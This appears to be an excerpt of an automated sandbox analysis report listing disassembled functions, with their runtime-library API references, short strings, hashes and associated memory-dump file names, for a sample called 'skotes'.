Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 4e64f97b388801fcdec96c3829c976a792d3dea3a1729ea9f0dab44504220aea
Instruction ID: 772f9c931a459b6161cc3f24c18886ce4611590d34120ffebc6d82554fed7b31
Opcode Fuzzy Hash: 4e64f97b388801fcdec96c3829c976a792d3dea3a1729ea9f0dab44504220aea
Instruction Fuzzy Hash: 362171F0C142859ADF74DFA4C8456EEB7F0BF14320F50093EE551A61D2EB715A48CB59

Function 000767A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00076902
__alloca_probe_16.LIBCMT ref: 00076998
__freea.LIBCMT ref: 00076A03
__freea.LIBCMT ref: 00076A0F

Strings

L/ds, xrefs: 000767B1

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: L/ds
API String ID: 1635606685-185251681
Opcode ID: 9a687503886d56e8cb53eaa80a3693deec4849f233d86ab419938bdc335d7ad1
Instruction ID: 7bb5a7481ea0e7639f4eb90fc9158d8d7fc46627d52280b0cc15bcde1ddbcb4f
Opcode Fuzzy Hash: 9a687503886d56e8cb53eaa80a3693deec4849f233d86ab419938bdc335d7ad1
Instruction Fuzzy Hash: E481C671D00A46ABDF609E548841AEE7BF99F45354F18C155E90AB7242EB3B8C40CBAA

Function 00061B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00061B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00061B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00061C2A

Strings

pContext, xrefs: 00061C22
switchState, xrefs: 00061B5E

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 72259b905aaa35300d03a33d0a65376aa17338d601bcd0b9ebeac4d2e437bbeb
Instruction ID: 4d589c1d43068abb6464f396994ecb31a7696b25ef99306d0f333c185578365b
Opcode Fuzzy Hash: 72259b905aaa35300d03a33d0a65376aa17338d601bcd0b9ebeac4d2e437bbeb
Instruction Fuzzy Hash: FF31A335A00214ABCF54EF64C8819EDB3B6BF54324F284565E9119B282EB71EE05CBD0

Function 0004BB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0004BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0004BBE4
_xtime_get.LIBCPMT ref: 0004BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0004BC13

Strings

L/ds, xrefs: 0004BB78

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: L/ds
API String ID: 531285432-185251681
Opcode ID: b817f20087d75936bed345978afb93b588f1c292a422d58714952fb2340fae2f
Instruction ID: d19807e7a6e9160420915923e754ac491d37e9a2e4a556d83d60c6b28fcc144b
Opcode Fuzzy Hash: b817f20087d75936bed345978afb93b588f1c292a422d58714952fb2340fae2f
Instruction Fuzzy Hash: 01213DB1A01119AFEF40EBA4D881DFEB7B9EF08710F114479F501A7252DB749D059BA4

Function 0005A026 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0005A069

Part of subcall function 0005B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0005B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0005A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0005A0CB

Part of subcall function 0005AB41: List.LIBCONCRT ref: 0005AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0005A0DB

Strings

L/ds, xrefs: 0005A02C

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID: L/ds
API String ID: 932774601-185251681
Opcode ID: 57821e124d11565a6cae993292d545256b7f440d28b73bb01b0bf1aebff80969
Instruction ID: cbb6982fb28cb26b66f80c5b5e8713ca5749c8b22436412755e4ba077ab89888
Opcode Fuzzy Hash: 57821e124d11565a6cae993292d545256b7f440d28b73bb01b0bf1aebff80969
Instruction Fuzzy Hash: D9218C31600A149FDB24EF65D9908AFF3F9FF497117004A5EE843A7652DB34B909CBA2

Function 0006727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 000672BE

Strings

.com, xrefs: 000672FE
.cmd, xrefs: 000672DC
.exe, xrefs: 000672CB
.bat, xrefs: 000672ED

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
